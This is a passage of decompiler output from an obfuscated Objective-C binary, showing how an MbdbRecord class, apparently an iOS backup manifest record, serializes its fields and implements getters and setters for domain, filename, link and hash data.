__int64 *v107; // [rsp+D0h] [rbp-C0h]
__int64 *v108; // [rsp+D8h] [rbp-B8h]
__int64 *v109; // [rsp+E0h] [rbp-B0h]
unsigned __int8 *v110; // [rsp+E8h] [rbp-A8h]
unsigned __int8 *v111; // [rsp+F0h] [rbp-A0h]
__int64 *v112; // [rsp+F8h] [rbp-98h]
id v113; // [rsp+100h] [rbp-90h]
SEL v114; // [rsp+108h] [rbp-88h]
id v115; // [rsp+110h] [rbp-80h]
__int64 *v116; // [rsp+118h] [rbp-78h]
__int64 *v117; // [rsp+120h] [rbp-70h]
id v118; // [rsp+128h] [rbp-68h]
SEL v119; // [rsp+130h] [rbp-60h]
__int64 *v120; // [rsp+138h] [rbp-58h]
unsigned __int16 v121; // [rsp+140h] [rbp-50h]
bool v122; // [rsp+142h] [rbp-4Eh]
bool v123; // [rsp+143h] [rbp-4Dh]
bool v124; // [rsp+144h] [rbp-4Ch]
bool v125; // [rsp+145h] [rbp-4Bh]
bool v126; // [rsp+146h] [rbp-4Ah]
bool v127; // [rsp+147h] [rbp-49h]
SEL v128; // [rsp+148h] [rbp-48h]
id v129; // [rsp+150h] [rbp-40h]
int *v130; // [rsp+158h] [rbp-38h]
__int64 v131; // [rsp+160h] [rbp-30h]
v131 = -1;
v103 = 218819344;
v104 = 1011986803;
v130 = &v104;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v104 <= -122729401 )
{
if ( v104 <= -1206110406 )
{
if ( v104 <= -1541338338 )
{
if ( v104 > -1635988524 )
{
if ( v104 > -1602931940 )
{
switch ( v104 )
{
case -1602931939:
objc_autoreleaseReturnValue(v129);
v6 = 0;
v4 = 1757637257;
v7 = 913075202;
goto LABEL_250;
case -1587420488:
LABEL_225:
*v130 = 1898734061;
break;
case -1587004637:
v26 = objc_msgSend(self, v90, 832320324);
v27 = objc_retainAutoreleasedReturnValue(v26);
v119 = "writeStringWithLength:toData:";
-[MbdbRecord writeStringWithLength:toData:](
self,
"writeStringWithLength:toData:",
v27,
v129);
objc_release(v27);
v28 = -[MbdbRecord filename](self, "filename");
v29 = objc_retainAutoreleasedReturnValue(v28);
objc_msgSend(self, v119, v29, v129);
objc_release(v29);
v30 = -[MbdbRecord link](self, "link");
v31 = objc_retainAutoreleasedReturnValue(v30);
objc_msgSend(self, v119, v31, v129);
objc_release(v31);
v91 = "hashData";
v32 = -[MbdbRecord hashData](self, "hashData");
v33 = objc_retainAutoreleasedReturnValue(v32);
v81 = "length";
v34 = (unsigned __int16)HikariFunctionWrapper_754(v33, "length");
objc_release(v33);
*(_WORD *)v116 = __ROL2__(v34, 8);
v128 = "appendBytes:length:";
HikariFunctionWrapper_756(v129, "appendBytes:length:");
v122 = *(_WORD *)v116 == 0;
v8 = 0;
v4 = -1372227962;
v9 = -848068642;
goto LABEL_258;
}
}
else
{
switch ( v104 )
{
case -1635988523:
*v130 = 1533905329;
break;
case -1630328127:
v8 = !v124;
v4 = 247312081;
v9 = -169555632;
LABEL_258:
if ( !v8 )
v4 = v9;
goto LABEL_260;
case -1605766056:
v10 = (unsigned __int16)-[MbdbRecord mode](self, "mode");
*(_WORD *)v105 = __ROL2__(v10, 8);
objc_msgSend(v129, v128, v105, 2);
v11 = HikariFunctionWrapper_758(self, "inode");
v6 = 1;
*v106 = _byteswap_uint64((unsigned __int64)v11);
v4 = 1821640697;
v7 = -1218663430;
goto LABEL_250;
}
}
}
else if ( v104 > -1775108792 )
{
switch ( v104 )
{
case -1775108791:
v98 = *(id *)(*v85 + 8 * v102);
v77 = objc_msgSend(v98, v86);
v115 = objc_retainAutoreleasedReturnValue(v77);
*v130 = -1206110405;
break;
case -1772707392:
v78 = -1958609804;
if ( v127 )
v78 = -169555632;
*v130 = v78;
v100 = v99;
break;
case -1738843616:
v92 = "key";
v25 = -[MbdbRecord key](self, "key");
v93 = objc_retainAutoreleasedReturnValue(v25);
v121 = (unsigned __int16)objc_msgSend(v93, v81);
*v130 = -328395887;
break;
}
}
else
{
switch ( v104 )
{
case -1958609804:
v88 = v100;
v14 = 0;
v4 = -1416534252;
v15 = 527716313;
LABEL_238:
if ( !v14 )
v4 = v15;
goto LABEL_260;
case -1885916816:
*v130 = -129161328;
break;
case -1811872750:
*v130 = 751761699;
break;
}
}
}
else if ( v104 <= -1355580112 )
{
if ( v104 > -1416534253 )
{
switch ( v104 )
{
case -1416534252:
*v130 = 527716313;
break;
case -1377897216:
*v130 = 1282777122;
break;
case -1372227962:
v16 = objc_msgSend(self, v90);
v17 = objc_retainAutoreleasedReturnValue(v16);
HikariFunctionWrapper_784(self, "writeStringWithLength:toData:");
objc_release(v17);
v18 = -[MbdbRecord filename](self, "filename");
v19 = objc_retainAutoreleasedReturnValue(v18);
HikariFunctionWrapper_786(self, "writeStringWithLength:toData:");
objc_release(v19);
v20 = HikariFunctionWrapper_788(self, "link");
v21 = objc_retainAutoreleasedReturnValue(v20);
HikariFunctionWrapper_790(self, "writeStringWithLength:toData:");
objc_release(v21);
v22 = -[MbdbRecord hashData](self, "hashData");
v23 = objc_retainAutoreleasedReturnValue(v22);
v24 = (unsigned __int16)-[NSData length](v23, "length");
objc_release(v23);
*(_WORD *)v116 = __ROL2__(v24, 8);
objc_msgSend(v129, "appendBytes:length:", v116, 2);
*v130 = -1587004637;
break;
}
}
else
{
switch ( v104 )
{
case -1541338337:
HikariFunctionWrapper_806(v118, v94);
goto LABEL_225;
case -1517604794:
v73 = HikariFunctionWrapper_804(v115, v96);
v74 = objc_retainAutoreleasedReturnValue(v73);
objc_release(v115);
v75 = objc_msgSend(v98, v97, v74);
v76 = objc_retainAutoreleasedReturnValue(v75);
objc_msgSend(self, v119, v74, v129);
objc_msgSend(self, v119, v76, v129);
objc_release(v76);
objc_release(v74);
*v130 = -327437315;
break;
case -1511578842:
v8 = 0;
v4 = -368047242;
v9 = -214849612;
goto LABEL_258;
}
}
}
else if ( v104 <= -1248462903 )
{
switch ( v104 )
{
case -1355580111:
HikariFunctionWrapper_760(v129, v128);
v66 = -[MbdbRecord userId](self, "userId");
*(_DWORD *)v107 = _byteswap_ulong(v66);
objc_msgSend(v129, v128, v107, 4);
v67 = -[MbdbRecord groupId](self, "groupId");
*(_DWORD *)v108 = _byteswap_ulong(v67);
objc_msgSend(v129, v128, v108, 4);
v68 = -[MbdbRecord mtime](self, "mtime");
-[MbdbRecord writeTimeField:toData:](self, "writeTimeField:toData:", v68, v129);
-[MbdbRecord atime](self, "atime");
HikariFunctionWrapper_762(self, "writeTimeField:toData:");
HikariFunctionWrapper_764(self, "ctime");
HikariFunctionWrapper_766(self, "writeTimeField:toData:");
v69 = HikariFunctionWrapper_768(self, "size");
*v109 = _byteswap_uint64((unsigned __int64)v69);
objc_msgSend(v129, v128, v109, 8);
v70 = (unsigned __int8)HikariFunctionWrapper_770(self, "flags");
*v110 = v70;
objc_msgSend(v129, v128, v110, 1);
v6 = 0;
v114 = "properties";
v4 = 1613496760;
v7 = 2091170109;
goto LABEL_250;
case -1343110366:
*v130 = -1511578842;
break;
case -1257898902:
v3 = 0;
v4 = 286031689;
LABEL_187:
v5 = 433822281;
goto LABEL_189;
}
}
else if ( v104 > -1218663431 )
{
if ( v104 == -1218663430 )
{
*v130 = -615962290;
}
else if ( v104 == -1215900473 )
{
v127 = v99 == 0;
v6 = 1;
v4 = 2056120963;
v7 = 1766121495;
goto LABEL_250;
}
}
else if ( v104 == -1248462902 )
{
*v130 = 134876;
}
else if ( v104 == -1226155829 )
{
v6 = 0;
v4 = -36127998;
v7 = -1226155829;
goto LABEL_250;
}
}
else if ( v104 > -529128165 )
{
if ( v104 <= -327437316 )
{
if ( v104 > -368047243 )
{
switch ( v104 )
{
case -368047242:
*v130 = -214849612;
break;
case -344385800:
v72 = objc_msgSend(v89, "data");
objc_retainAutoreleasedReturnValue(v72);
*v130 = 805218214;
break;
case -328395887:
v8 = 0;
v4 = 384250950;
v9 = -1121051737;
goto LABEL_258;
}
}
else
{
switch ( v104 )
{
case -529128164:
v58 = objc_msgSend(self, v91);
v59 = objc_retainAutoreleasedReturnValue(v58);
v8 = 0;
v113 = v59;
v4 = -1203635795;
v9 = -1811872750;
goto LABEL_258;
case -526807602:
*v130 = -1775108791;
break;
case -392861730:
v6 = 0;
v4 = -263464846;
v7 = 2080641501;
goto LABEL_250;
}
}
}
else if ( v104 <= -214849613 )
{
switch ( v104 )
{
case -327437315:
v62 = objc_msgSend(v115, v96);
v63 = objc_retainAutoreleasedReturnValue(v62);
objc_release(v115);
v64 = HikariFunctionWrapper_778(v98, v97);
v65 = objc_retainAutoreleasedReturnValue(v64);
objc_msgSend(self, v119, v63, v129);
HikariFunctionWrapper_780(self, v119);
objc_release(v65);
objc_release(v63);
v126 = v102 + 1 == (_QWORD)v88;
v6 = 0;
v87 = v102 + 1;
v4 = 259391794;
goto LABEL_229;
case -302339392:
objc_msgSend(v129, "appendData:", v113);
objc_release(v113);
*v130 = 1758218010;
break;
case -263464846:
v14 = 1;
v4 = -526807602;
v15 = -263464846;
goto LABEL_238;
}
}
else if ( v104 > -169555633 )
{
if ( v104 == -169555632 )
{
v6 = 1;
v4 = -558135369;
v7 = 647780086;
LABEL_250:
if ( v6 )
v4 = v7;
LABEL_260:
*v130 = v4;
}
else if ( v104 == -129161328 )
{
v3 = 0;
v4 = -689650774;
v5 = 1700710381;
goto LABEL_189;
}
}
else if ( v104 == -214849612 )
{
*v130 = -107962197;
}
else if ( v104 == -212114966 )
{
v116 = &v80;
v117 = &v80;
v105 = &v80;
v106 = &v80;
v107 = &v80;
v108 = &v80;
v109 = &v80;
v110 = (unsigned __int8 *)&v80;
v111 = (unsigned __int8 *)&v80;
v120 = &v80;
v6 = 1;
v112 = &v80 - 16;
v89 = &OBJC_CLASS___NSMutableData;
v4 = -212114966;
v7 = 1153427902;
goto LABEL_250;
}
}
else if ( v104 <= -813736783 )
{
if ( v104 > -1078413423 )
{
switch ( v104 )
{
case -1078413422:
v8 = 0;
v4 = 316357485;
v9 = -1226155829;
goto LABEL_258;
case -1033723654:
*v130 = 1024912198;
break;
case -848068642:
v8 = !v122;
v4 = 644576546;
v9 = -1738843616;
goto LABEL_258;
}
}
else
{
switch ( v104 )
{
case -1206110405:
v6 = 1;
v4 = -1517604794;
LABEL_229:
v7 = -327437315;
goto LABEL_250;
case -1203635795:
v71 = objc_msgSend(self, v91);
objc_retainAutoreleasedReturnValue(v71);
*v130 = -529128164;
break;
case -1121051737:
objc_release(v93);
*(_WORD *)v117 = __ROL2__(v121, 8);
objc_msgSend(v129, v128, v117, 2);
*v130 = -1885916816;
break;
}
}
}
else if ( v104 <= -689650775 )
{
switch ( v104 )
{
case -813736782:
v8 = !v123;
v4 = 1775326782;
v9 = 1700307242;
goto LABEL_258;
case -803190420:
*v130 = -78217783;
break;
case -801057659:
LABEL_179:
*v130 = 40405176;
break;
}
}
else if ( v104 > -558135370 )
{
if ( v104 == -558135369 )
{
objc_release(v118);
*v130 = 647780086;
}
else if ( v104 == -554381768 )
{
*v130 = 1700307242;
}
}
else if ( v104 == -689650774 )
{
v123 = *(_WORD *)v117 == 0;
*v130 = -813736782;
}
else if ( v104 == -615962290 )
{
LABEL_199:
*v130 = -1355580111;
}
}
if ( v104 > 913075201 )
break;
if ( v104 > 286031688 )
{
if ( v104 <= 467209008 )
{
if ( v104 > 384250949 )
{
switch ( v104 )
{
case 384250950:
objc_release(v93);
*(_WORD *)v117 = __ROL2__(v121, 8);
HikariFunctionWrapper_792(v129, v128);
*v130 = -1121051737;
break;
case 431399525:
*v130 = -212114966;
break;
case 433822281:
*v130 = 286031689;
break;
}
}
else
{
switch ( v104 )
{
case 286031689:
v3 = 0;
v4 = 305756476;
goto LABEL_187;
case 305756476:
v51 = 467209009;
if ( v126 )
v51 = -1587420488;
*v130 = v51;
v101 = v87;
break;
case 316357485:
*v130 = -1226155829;
break;
}
}
}
else if ( v104 <= 647780085 )
{
switch ( v104 )
{
case 467209009:
v102 = v101;
v6 = 0;
v4 = 1282777122;
v7 = -1377897216;
goto LABEL_250;
case 527716313:
v6 = 0;
v86 = "allKeys";
v96 = "firstObject";
v97 = "objectForKeyedSubscript:";
v4 = 1308439183;
v7 = 527716313;
goto LABEL_250;
case 644576546:
v14 = 1;
v4 = -529128164;
v15 = -1203635795;
goto LABEL_238;
}
}
else if ( v104 > 756919651 )
{
if ( v104 == 756919652 )
goto LABEL_179;
if ( v104 == 805218214 )
{
v35 = objc_msgSend(v89, "data");
v36 = objc_retainAutoreleasedReturnValue(v35);
v14 = 1;
v129 = v36;
v90 = "domain";
v4 = -803190420;
v15 = -344385800;
goto LABEL_238;
}
}
else
{
if ( v104 == 647780086 )
{
objc_release(v118);
v14 = 0;
v4 = -558135369;
v15 = -105078540;
goto LABEL_238;
}
if ( v104 == 751761699 )
{
v6 = 0;
v4 = 1758218010;
v7 = -302339392;
goto LABEL_250;
}
}
}
else if ( v104 <= 134875 )
{
if ( v104 > -87668100 )
{
switch ( v104 )
{
case -87668099:
v3 = 0;
v4 = -1602931939;
v5 = 913075202;
LABEL_189:
if ( v3 )
v4 = v5;
goto LABEL_260;
case -78217783:
v14 = 0;
v4 = -1372227962;
v15 = -1587004637;
goto LABEL_238;
case -36127998:
*v130 = -87668099;
break;
}
}
else
{
switch ( v104 )
{
case -122729400:
objc_release(v82);
*v130 = -554381768;
break;
case -107962197:
*v130 = -1738843616;
break;
case -105078540:
*v130 = -1078413422;
break;
}
}
}
else if ( v104 <= 133330148 )
{
switch ( v104 )
{
case 134876:
v8 = 0;
v4 = 134876;
v9 = -1772707392;
goto LABEL_258;
case 40405176:
v14 = 1;
v84 = **v95;
v4 = -1033723654;
v15 = 756919652;
goto LABEL_238;
case 90653164:
v14 = 0;
v4 = -1248462902;
v15 = 134876;
goto LABEL_238;
}
}
else if ( v104 > 247312080 )
{
if ( v104 == 247312081 )
{
v95 = (__int64 **)(v120 + 2);
*v130 = -801057659;
}
else if ( v104 == 259391794 )
{
*v130 = -1257898902;
}
}
else if ( v104 == 133330149 )
{
HikariFunctionWrapper_776(v118);
*v130 = -392861730;
}
else if ( v104 == 194838496 )
{
v2 = objc_msgSend(self, v92);
v82 = objc_retainAutoreleasedReturnValue(v2);
objc_msgSend(v129, "appendData:", v82);
v3 = 0;
v4 = 1717052365;
v5 = 194838496;
goto LABEL_189;
}
}
if ( v104 > 1700710380 )
break;
if ( v104 <= 1282777121 )
{
if ( v104 > 1024912197 )
{
switch ( v104 )
{
case 1024912198:
v85 = v120 + 1;
*v130 = -1958609804;
v100 = v83;
break;
case 1153427902:
*v130 = 2136915554;
break;
case 1157820467:
LABEL_197:
*v130 = 1011857245;
break;
}
}
else
{
switch ( v104 )
{
case 913075202:
objc_autoreleaseReturnValue(v129);
*v130 = -1602931939;
break;
case 1011857245:
v52 = objc_msgSend(self, v114);
v53 = objc_retainAutoreleasedReturnValue(v52);
v54 = (unsigned __int8)objc_msgSend(v53, "count");
objc_release(v53);
*v111 = v54;
objc_msgSend(v129, v128, v111, 1);
v55 = v120;
*((_OWORD *)v120 + 3) = 0;
*((_OWORD *)v55 + 2) = 0;
*((_OWORD *)v55 + 1) = 0;
*(_OWORD *)v55 = 0;
v56 = HikariFunctionWrapper_772(self, v114);
v118 = objc_retainAutoreleasedReturnValue(v56);
v94 = "countByEnumeratingWithState:objects:count:";
v57 = HikariFunctionWrapper_774(v118, "countByEnumeratingWithState:objects:count:");
v124 = v57 == 0;
v6 = 0;
v83 = v57;
v4 = -1630328127;
v7 = 1011857245;
goto LABEL_250;
case 1011986803:
v3 = v103 == -1178201947;
v4 = -212114966;
v5 = 431399525;
goto LABEL_189;
}
}
}
else if ( v104 <= 1533905328 )
{
switch ( v104 )
{
case 1282777122:
v125 = **v95 == v84;
v14 = 0;
v4 = -1377897216;
v15 = 1649941030;
goto LABEL_238;
case 1287241893:
v60 = objc_msgSend(self, v92);
v61 = objc_retainAutoreleasedReturnValue(v60);
objc_msgSend(v129, "appendData:", v61);
*v130 = 194838496;
break;
case 1308439183:
*v130 = 467209009;
v101 = 0;
break;
}
}
else if ( v104 > 1649941029 )
{
if ( v104 == 1649941030 )
{
v8 = !v125;
v4 = 133330149;
v9 = -1775108791;
goto LABEL_258;
}
if ( v104 == 1700307242 )
{
v14 = 1;
v4 = -1605766056;
v15 = 1821640697;
goto LABEL_238;
}
}
else
{
if ( v104 == 1533905329 )
{
v8 = 0;
v4 = 2056120963;
v9 = -1215900473;
goto LABEL_258;
}
if ( v104 == 1613496760 )
*v130 = 1157820467;
}
}
if ( v104 <= 1898734060 )
break;
if ( v104 > 2080641500 )
{
switch ( v104 )
{
case 2080641501:
*v130 = -263464846;
break;
case 2091170109:
HikariFunctionWrapper_794(v129, v128);
v44 = -[MbdbRecord userId](self, "userId");
*(_DWORD *)v107 = _byteswap_ulong(v44);
objc_msgSend(v129, v128, v107, 4);
v45 = (unsigned int)HikariFunctionWrapper_796(self, "groupId");
*(_DWORD *)v108 = _byteswap_ulong(v45);
HikariFunctionWrapper_798(v129, v128);
v46 = -[MbdbRecord mtime](self, "mtime");
-[MbdbRecord writeTimeField:toData:](self, "writeTimeField:toData:", v46, v129);
v47 = -[MbdbRecord atime](self, "atime");
-[MbdbRecord writeTimeField:toData:](self, "writeTimeField:toData:", v47, v129);
v48 = -[MbdbRecord ctime](self, "ctime");
-[MbdbRecord writeTimeField:toData:](self, "writeTimeField:toData:", v48, v129);
v49 = -[MbdbRecord size](self, "size");
*v109 = _byteswap_uint64((unsigned __int64)v49);
objc_msgSend(v129, v128, v109, 8);
v50 = (unsigned __int8)HikariFunctionWrapper_800(self, "flags");
*v110 = v50;
HikariFunctionWrapper_802(v129, v128);
goto LABEL_199;
case 2136915554:
v3 = 0;
v4 = 805218214;
v5 = -344385800;
goto LABEL_189;
}
}
else
{
switch ( v104 )
{
case 1898734061:
v37 = HikariFunctionWrapper_782(v118, v94);
v3 = 0;
v99 = v37;
v4 = -1635988523;
v5 = -1541338337;
goto LABEL_189;
case 1901594832:
v38 = objc_msgSend(self, v114);
v39 = objc_retainAutoreleasedReturnValue(v38);
v40 = (unsigned __int8)objc_msgSend(v39, "count");
objc_release(v39);
*v111 = v40;
objc_msgSend(v129, v128, v111, 1);
v41 = v120;
*((_OWORD *)v120 + 3) = 0;
*((_OWORD *)v41 + 2) = 0;
*((_OWORD *)v41 + 1) = 0;
*(_OWORD *)v41 = 0;
v42 = objc_msgSend(self, v114);
v43 = objc_retainAutoreleasedReturnValue(v42);
objc_msgSend(v43, "countByEnumeratingWithState:objects:count:", v120, v112, 16);
goto LABEL_197;
case 2056120963:
*v130 = -1215900473;
break;
}
}
}
if ( v104 <= 1766121494 )
break;
switch ( v104 )
{
case 1766121495:
*v130 = 90653164;
break;
case 1775326782:
v6 = 1;
v4 = 1287241893;
v7 = 194838496;
goto LABEL_250;
case 1821640697:
v12 = (unsigned __int16)-[MbdbRecord mode](self, "mode");
*(_WORD *)v105 = __ROL2__(v12, 8);
objc_msgSend(v129, v128, v105, 2);
v13 = -[MbdbRecord inode](self, "inode");
*v106 = _byteswap_uint64((unsigned __int64)v13);
*v130 = -1605766056;
break;
}
}
if ( v104 > 1757637256 )
break;
if ( v104 == 1700710381 )
{
*v130 = -689650774;
}
else if ( v104 == 1717052365 )
{
*v130 = -122729400;
}
}
if ( v104 == 1758218010 )
{
objc_msgSend(v129, "appendData:", v113);
objc_release(v113);
v6 = 0;
v4 = -1343110366;
v7 = 1758218010;
goto LABEL_250;
}
}
while ( v104 != 1757637257 );
return v129;
}
//----- (00000001002372A1) ----------------------------------------------------
NSString *__cdecl -[MbdbRecord domain](MbdbRecord *self, SEL a2)
{
int v2; // eax
NSString *domain; // [rsp+8h] [rbp-18h]
int v5; // [rsp+14h] [rbp-Ch] BYREF
int *v6; // [rsp+18h] [rbp-8h]
v5 = -1320751868;
v6 = &v5;
do
{
while ( 1 )
{
while ( v5 > 550899632 )
{
if ( v5 > 1292564881 )
{
if ( v5 == 1292564882 )
{
*v6 = -611791699;
}
else if ( v5 == 2134227580 )
{
v2 = -2077910004;
goto LABEL_17;
}
}
else if ( v5 == 550899633 )
{
*v6 = 2134227580;
}
else if ( v5 == 1111754332 )
{
*v6 = 499067501;
}
}
if ( v5 <= -611791700 )
break;
if ( v5 == -611791699 )
{
domain = self->_domain;
v2 = 1111754332;
LABEL_17:
*v6 = v2;
}
else if ( v5 == 499067501 )
{
v2 = 2134227580;
goto LABEL_17;
}
}
if ( v5 == -1320751868 )
{
v2 = -611791699;
goto LABEL_17;
}
}
while ( v5 != -2077910004 );
return domain;
}
// 100237444: variable 'domain' is possibly undefined
//----- (000000010023744A) ----------------------------------------------------
void __cdecl -[MbdbRecord setDomain:](MbdbRecord *self, SEL a2, id a3)
{
NSString **p_domain; // r14
int v5; // eax
void *v6; // rdi
int v7; // ecx
void *v8; // rdi
void **v9; // [rsp+0h] [rbp-40h]
int v10; // [rsp+Ch] [rbp-34h] BYREF
int *v11; // [rsp+10h] [rbp-30h]
v10 = -1714053624;
v11 = &v10;
p_domain = &self->_domain;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v10 > 827889188 )
{
if ( v10 > 1480360517 )
{
switch ( v10 )
{
case 1480360518:
v6 = *v9;
*v9 = a3;
objc_release(v6);
*v11 = 278206528;
break;
case 1666627741:
objc_retain(a3);
v7 = -11946251;
goto LABEL_27;
case 1997765449:
v5 = 278206528;
goto LABEL_28;
}
}
else
{
switch ( v10 )
{
case 827889189:
v5 = 1666627741;
goto LABEL_28;
case 1040829660:
objc_retain(a3);
*v11 = 1666627741;
break;
case 1193802038:
v9 = (void **)p_domain;
v5 = 723339417;
goto LABEL_28;
}
}
}
if ( v10 <= -11946252 )
break;
switch ( v10 )
{
case -11946251:
*v11 = 1997765449;
break;
case 278206528:
v8 = *v9;
*v9 = a3;
objc_release(v8);
v5 = -1878115126;
goto LABEL_28;
case 723339417:
*v11 = 827889189;
break;
}
}
if ( v10 != -1714053624 )
break;
v7 = 1193802038;
LABEL_27:
v5 = v7;
LABEL_28:
*v11 = v5;
}
if ( v10 != -293910673 )
break;
*v11 = 1193802038;
}
}
while ( v10 != -1878115126 );
}
// 100237626: variable 'v9' is possibly undefined
//----- (000000010023773B) ----------------------------------------------------
NSString *__cdecl -[MbdbRecord filename](MbdbRecord *self, SEL a2)
{
NSString **p_filename; // rdi
int v3; // r8d
NSString **v5; // [rsp+0h] [rbp-20h]
NSString *v6; // [rsp+8h] [rbp-18h]
int v7; // [rsp+14h] [rbp-Ch] BYREF
int *v8; // [rsp+18h] [rbp-8h]
v7 = 809831734;
v8 = &v7;
p_filename = &self->_filename;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= 340493081 )
{
if ( v7 > -444788789 )
{
if ( v7 == -444788788 )
{
*v8 = 39578075;
}
else if ( v7 == 39578075 )
{
v5 = p_filename;
v3 = 1432488866;
goto LABEL_21;
}
}
else if ( v7 == -1103015158 )
{
v6 = *v5;
*v8 = 985267858;
}
else if ( v7 == -723808339 )
{
*v8 = 2062494495;
}
}
if ( v7 <= 1432488865 )
break;
if ( v7 == 1432488866 )
{
*v8 = -1103015158;
}
else if ( v7 == 2062494495 )
{
v3 = 340493082;
goto LABEL_21;
}
}
if ( v7 != 809831734 )
break;
v3 = 39578075;
LABEL_21:
*v8 = v3;
}
if ( v7 == 985267858 )
{
v3 = 2062494495;
goto LABEL_21;
}
}
while ( v7 != 340493082 );
return v6;
}
// 100237990: conditional instruction was optimized away because %var_10.4==EC592E11
// 10023795F: variable 'v5' is possibly undefined
// 1002379AD: variable 'v6' is possibly undefined
//----- (00000001002379B3) ----------------------------------------------------
void __cdecl -[MbdbRecord setFilename:](MbdbRecord *self, SEL a2, id a3)
{
int v4; // eax
NSString *v5; // [rsp+8h] [rbp-48h]
NSString **p_filename; // [rsp+10h] [rbp-40h]
int v7; // [rsp+1Ch] [rbp-34h] BYREF
int *v8; // [rsp+20h] [rbp-30h]
v7 = -1464442939;
v8 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= 1001615572 )
{
if ( v7 > -105069642 )
{
if ( v7 == -105069641 )
{
p_filename = &self->_filename;
objc_retain(a3);
v4 = -1005584229;
LABEL_20:
*v8 = v4;
}
else if ( v7 == 311483310 )
{
*v8 = 1848949175;
}
}
else
{
if ( v7 == -1464442939 )
{
v4 = -105069641;
goto LABEL_20;
}
if ( v7 == -1005584229 )
*v8 = 1471722694;
}
}
if ( v7 <= 1848949174 )
break;
if ( v7 == 1848949175 )
{
v5 = *p_filename;
v4 = 1066855558;
goto LABEL_20;
}
if ( v7 == 2051890772 )
{
objc_retain(a3);
*v8 = -105069641;
}
}
if ( v7 != 1066855558 )
break;
*v8 = 1001615573;
}
if ( v7 == 1471722694 )
{
v4 = 1848949175;
goto LABEL_20;
}
}
while ( v7 != 1001615573 );
*p_filename = (NSString *)a3;
objc_release(v5);
}
// 100237B5F: conditional instruction was optimized away because %var_38.4==D7FF7FFE
// 100237B44: variable 'p_filename' is possibly undefined
// 100237BE7: variable 'v5' is possibly undefined
//----- (0000000100237BED) ----------------------------------------------------
NSString *__cdecl -[MbdbRecord link](MbdbRecord *self, SEL a2)
{
NSString **p_link; // rdi
int v3; // eax
NSString **v5; // [rsp+0h] [rbp-20h]
NSString *v6; // [rsp+8h] [rbp-18h]
int v7; // [rsp+14h] [rbp-Ch] BYREF
int *v8; // [rsp+18h] [rbp-8h]
v7 = -386632798;
v8 = &v7;
p_link = &self->_link;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= 269319208 )
{
if ( v7 > -1346873700 )
{
switch ( v7 )
{
case -1346873699:
*v8 = -1495644664;
break;
case -1333320177:
*v8 = 637931568;
break;
case -386632798:
v3 = -1776698574;
goto LABEL_26;
}
}
else
{
switch ( v7 )
{
case -1836060551:
v3 = 1872869723;
goto LABEL_26;
case -1776698574:
v5 = p_link;
v3 = 1079058711;
LABEL_26:
*v8 = v3;
break;
case -1495644664:
*v8 = 269319209;
break;
}
}
}
if ( v7 <= 1079058710 )
break;
switch ( v7 )
{
case 1079058711:
*v8 = -1836060551;
break;
case 1872869723:
v6 = *v5;
v3 = -1333320177;
goto LABEL_26;
case 2074062353:
*v8 = 1872869723;
break;
}
}
if ( v7 == 637931568 )
{
v3 = -1495644664;
goto LABEL_26;
}
if ( v7 != 705644419 )
break;
*v8 = -1776698574;
}
}
while ( v7 != 269319209 );
return v6;
}
// 100237D11: conditional instruction was optimized away because %var_10.4==B
// 100237DD4: variable 'v5' is possibly undefined
// 100237E6A: variable 'v6' is possibly undefined
//----- (0000000100237E70) ----------------------------------------------------
void __cdecl -[MbdbRecord setLink:](MbdbRecord *self, SEL a2, id a3)
{
int v4; // eax
NSString *v5; // [rsp+8h] [rbp-48h]
NSString **p_link; // [rsp+10h] [rbp-40h]
int v7; // [rsp+1Ch] [rbp-34h] BYREF
int *v8; // [rsp+20h] [rbp-30h]
v7 = 1637539790;
v8 = &v7;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v7 <= 435458237 )
{
switch ( v7 )
{
case -1848216191:
*v8 = -1600209422;
break;
case -1600209422:
objc_retain(a3);
v5 = *p_link;
*v8 = 475318520;
break;
case -662445142:
p_link = &self->_link;
v4 = -1848216191;
goto LABEL_10;
}
}
if ( v7 != 435458238 )
break;
*v8 = -662445142;
}
if ( v7 != 1637539790 )
break;
v4 = -662445142;
LABEL_10:
*v8 = v4;
}
}
while ( v7 != 475318520 );
*p_link = (NSString *)a3;
objc_release(v5);
}
// 100237F2A: conditional instruction was optimized away because %var_38.4==1006414
// 100237F4F: variable 'p_link' is possibly undefined
// 100237F95: variable 'v5' is possibly undefined
//----- (0000000100237F9B) ----------------------------------------------------
NSData *__cdecl -[MbdbRecord hashData](MbdbRecord *self, SEL a2)
{
int v2; // edi
NSData **p_hashData; // [rsp+0h] [rbp-20h]
NSData *v5; // [rsp+8h] [rbp-18h]
int v6; // [rsp+14h] [rbp-Ch] BYREF
int *v7; // [rsp+18h] [rbp-8h]
p_hashData = &self->_hashData;
v6 = -1068994679;
v7 = &v6;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v6 <= -188695445 )
{
if ( v6 == -1925048424 )
{
*v7 = -188695444;
}
else if ( v6 == -1068994679 )
{
v2 = -188695444;
goto LABEL_10;
}
}
if ( v6 != -188695444 )
break;
v5 = *p_hashData;
v2 = 2038837777;
LABEL_10:
*v7 = v2;
}
if ( v6 != 2038837777 )
break;
*v7 = 1762808560;
}
}
while ( v6 != 1762808560 );
return v5;
}
// 1002380EF: variable 'v5' is possibly undefined
//----- (00000001002380F5) ----------------------------------------------------
void __cdecl -[MbdbRecord setHashData:](MbdbRecord *self, SEL a2, id a3)
{
int v4; // eax
NSData *hashData; // [rsp+0h] [rbp-40h]
int v6; // [rsp+Ch] [rbp-34h] BYREF
int *v7; // [rsp+10h] [rbp-30h]
objc_retain(a3);
hashData = self->_hashData;
self->_hashData = (NSData *)a3;
v6 = -1792906492;
v7 = &v6;
do
{
while ( 1 )
{
while ( v6 <= 106731460 )
{
if ( v6 == -1792906492 )
{
objc_release(hashData);
*v7 = 1387997307;
}
else if ( v6 == -761197098 )
{
v4 = 1588174487;
LABEL_9:
*v7 = v4;
}
}
if ( v6 != 106731461 )
break;
*v7 = -761197098;
}
if ( v6 == 1387997307 )
{
v4 = -761197098;
goto LABEL_9;
}
}
while ( v6 != 1588174487 );
}
//----- (0000000100238247) ----------------------------------------------------
NSData *__cdecl -[MbdbRecord key](MbdbRecord *self, SEL a2)
{
int v2; // ecx
NSData *key; // [rsp+8h] [rbp-18h]
